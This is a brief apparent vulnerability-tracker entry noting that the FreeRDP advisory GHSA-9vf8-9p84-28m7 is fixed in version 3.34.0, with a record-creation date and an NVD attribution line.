- Fix · GHSA-9vf8-9p84-28m7 FreeRDP (c) Fixed in 3.34.0 Advisory →
Timeline
- 2026-12-03 Threatist record created from GHSA-9vf8-9p84-28m7
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences